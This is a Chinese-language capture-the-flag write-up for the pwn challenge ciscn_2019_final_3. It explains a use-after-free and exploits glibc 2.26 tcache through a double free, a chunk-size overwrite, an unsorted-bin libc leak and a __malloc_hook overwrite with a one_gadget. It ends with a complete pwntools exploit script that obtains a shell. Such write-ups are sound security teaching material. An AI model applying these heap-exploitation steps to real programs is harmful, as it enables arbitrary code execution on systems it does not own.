ciscn_2019_final_3
审题
注意此题为libc2.26的堆体 也大概率是我们第一次接触到tcache的题目
tcache全名thread local caching,它为每个线程创建一个缓存(cache),从而实现无锁的分配算法,有不错的性能提升。lib-2.26【2.23以后】正式提供了该机制,并默认开启。
详情请见 Tcache attack - CTF Wiki (ctf-wiki.org) 和 Tcache Attack 学习 - 先知社区 (aliyun.com)
惯例先checksec一下
保护全开的64位程序
放进ida64里看看
标准的菜单题 1添加堆 2删除堆
1 添加堆
我们先输入我们希望填写的idx的值 将其填入size_4中(idx不得大于0x18不得重复不得为负数)
然后读取size(size不得大于0x78不得为负数)
在unk_2022a0+idx的位置写入malloc到的大小为size的chunk的地址
然后向malloc到的chunk写入大小为size的内容
最后向我们打印出malloc到的chunk的地址
2 删除堆
输入idx将对应chunk free 但没有将指针归零 存在uaf漏洞
审题完毕开始解题
解题
既然存在uaf漏洞那我们就可以利用uaf篡改chunk的fd的值然后利用unsorted_bin_attack的方式泄露出libc的基地址 然后将mallochook篡改为one_gadget达成获取控制权的效果
首先我们先利用uaf漏洞
tache double free
先创立大于0x400大小的chunk(目的是将后面构造的fakechunk可以放进unsortedbin中)
tcache的大小为0~0x400
heap=add(0,0x78,'a')#0#add函数的返回值为chunk的地址
print(hex(heap))
add(1,0x18,'b')#1
add(2,0x78,'c')#2
add(3,0x78,'d')#3
add(4,0x78,'c')#4
add(5,0x78,'d')#5
add(6,0x78,'c')#6
add(7,0x78,'d')#7
add(8,0x78,'c')#8
add(9,0x78,'d')#9
add(10,0x78,'c')#10
add(11,0x78,'d')#11
add(12,0x28,'d')#12
然后我们free两次我们的12号chunk 达成double free的一个效果让tcachebin 0x28链中存入两个地址同为12号地址的chunk
由于我们的申请chunk是在bianjichunk内容前的 因此我们需要申请两次才能成功篡改其中的内容
tcache_get函数 从取出tcache bin list中取出时调用
向索引为tc_idx的Bin List中拿出Chunk
对List的entries指针进行了设置,拿出后指向当前chunk的fd
也就是说当我们利用uaf或者double free漏洞来修改entries的地址时我们需要多free一次 因为第一次malloc时我们还没有篡改内容此时下一个entries的内容依旧是指向原本的chunk只有再第二次free的时候才能将其篡改
static __always_inline void * tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; assert (tc_idx < TCACHE_MAX_BINS); assert (tcache->entries[tc_idx] > 0); tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); return (void *) e; }
然后我们再次申请一个chunk此时就已经跳转到了我们希望他再的heap-0x10的位置上了 我们此时再将chunk0的size位修改为0x421
至此tcache double free流程结束
free(12)
free(12)
add(13,0x28,p64(heap-0x10))#4 修改为chunk0 size的地址
add(14,0x28,p64(0))#5 注意此处我们所填充的内容是啥都可以的
#13和14的地址都是被free叼的12的地址
add(15,0x28,p64(0)+p64(0x421))#get chunk0->size,size需要超过0x400才能进unsortbin
unsorted bin attack
利用unsouted bin attack来泄露libc的地址
由于我们已经将chunk0的size位篡改为了0x421因此当我们将chunk0free掉的时候会将其放进unsortedbin中
那么此时我们就可以利用unsortedbin attack来泄露libc的地址了
当unsotedbin中有且只有一个chunk的时候 该chunk的fd和bk都会指向一个与 main_arena 有固定偏移的地址
由于我们在unsorted中分下来一块后后面依然在unsortbin里,因此我们先将chunk1
free掉
然后add(16,0x78,'e')
这样我们在tcache中的chunk1的fd指针就被我们修改成了我们需要泄露的与 main_arena 有固定偏移的地址
然后我们先申请一个大小为0x18的chunk将chunk1重新申请出来 并将entries修改为了我们需要泄露的与 main_arena 有固定偏移的地址
此时我们再次malloc一个0x18的chunk那就会从该地址中申请出一个chunk 然后打印出该地址的实际地址减去偏移我们就能获得libc的基地址
然乎我们就可以通过该libc_base获取到malloc_hook的地址 以及需要利用的one_gadget的地址
free(0) #unsort_bin chunk0->fd=libc
free(1) #tcache
add(16,0x78,'e')#7 从unsortbin分下一块,后面依然在unsortbin里 chunk1->fd=libc
add(17,0x18,'f')#8 get chunk1
libc_base=add(18,0x18,'g')-0x3ebca0#9 get libc
malloc_hook=libc_base+libc.sym['__malloc_hook']
one_gadget=libc_base+0x10a38c
print(hex(libc_base),hex(malloc_hook))
通过tache double free篡改mallochook
利用tache double free将chunk跳转到mallochook的地址然后将其中的内容篡改为one_gadget
此时我们再申请一个chunk就达成了篡夺程序控制权的目的
free(5)
free(5)
add(19,0x78,p64(malloc_hook))
add(20,0x78,p64(malloc_hook))
add(21,0x78,p64(one_gadget))
io.sendline('1')
io.sendline('22')#idx
io.interactive()
需要注意的是我们iteractive后由于使用的是mallochook所以我们输入的指令应当是;cat flag
成功获取到flag
exp:
#encoding:utf-8
from pwn import *
#io=remote('node3.buuoj.cn',29277)
io=process('./ciscn_final_3')
libc=ELF('./libc.so.6')
context.log_level='debug'
def add(idx,size,data):
io.recvuntil('choice > ')
io.sendline('1')
io.recvuntil('the index')
io.sendline(str(idx))
io.recvuntil('the size')
io.sendline(str(size))
io.recvuntil('something')
io.sendline(data)
io.recvuntil('gift :')
return int(io.recvline()[2:],16)
def free(idx):
io.recvuntil('choice > ')
io.sendline('2')
io.recvuntil('the index')
io.sendline(str(idx))
heap=add(0,0x78,'a')#0
print(hex(heap))
add(1,0x18,'b')#1
add(2,0x78,'c')#2
add(3,0x78,'d')#3
add(4,0x78,'c')#4
add(5,0x78,'d')#5
add(6,0x78,'c')#6
add(7,0x78,'d')#7
add(8,0x78,'c')#8
add(9,0x78,'d')#9
add(10,0x78,'c')#10
add(11,0x78,'d')#11
add(12,0x28,'d')#12
#gdb.attach(io)
#dup
free(12)
free(12)
add(13,0x28,p64(heap-0x10))#4 修改为chunk0 size的地址
add(14,0x28,p64(heap-0x10))#5 注意此处我们所填充的内容是啥都可以的
add(15,0x28,p64(0)+p64(0x421))#get chunk0->size,size需要超过0x400才能进unsortbin
#gdb.attach(io)
#overlap
free(0) #unsort_bin chunk0->fd=libc
free(1) #tcache
add(16,0x78,'e')#7 从unsortbin分下一块,后面依然在unsortbin里 chunk1->fd=libc
add(17,0x18,'f')#8 get chunk1
libc_base=add(18,0x18,'g')-0x3ebca0#9 get libc
malloc_hook=libc_base+libc.sym['__malloc_hook']
one_gadget=libc_base+0x10a38c
print(hex(libc_base),hex(malloc_hook))
#dup
free(5)
free(5)
add(19,0x78,p64(malloc_hook))
add(20,0x78,p64(malloc_hook))
add(21,0x78,p64(one_gadget))
#getshell
io.sendline('1')
io.sendline('22')
io.sendline('0;cat flag')
io.interactive()
参考了angel-yan博客
https://blog.csdn.net/mcmuyanga/article/details/113995633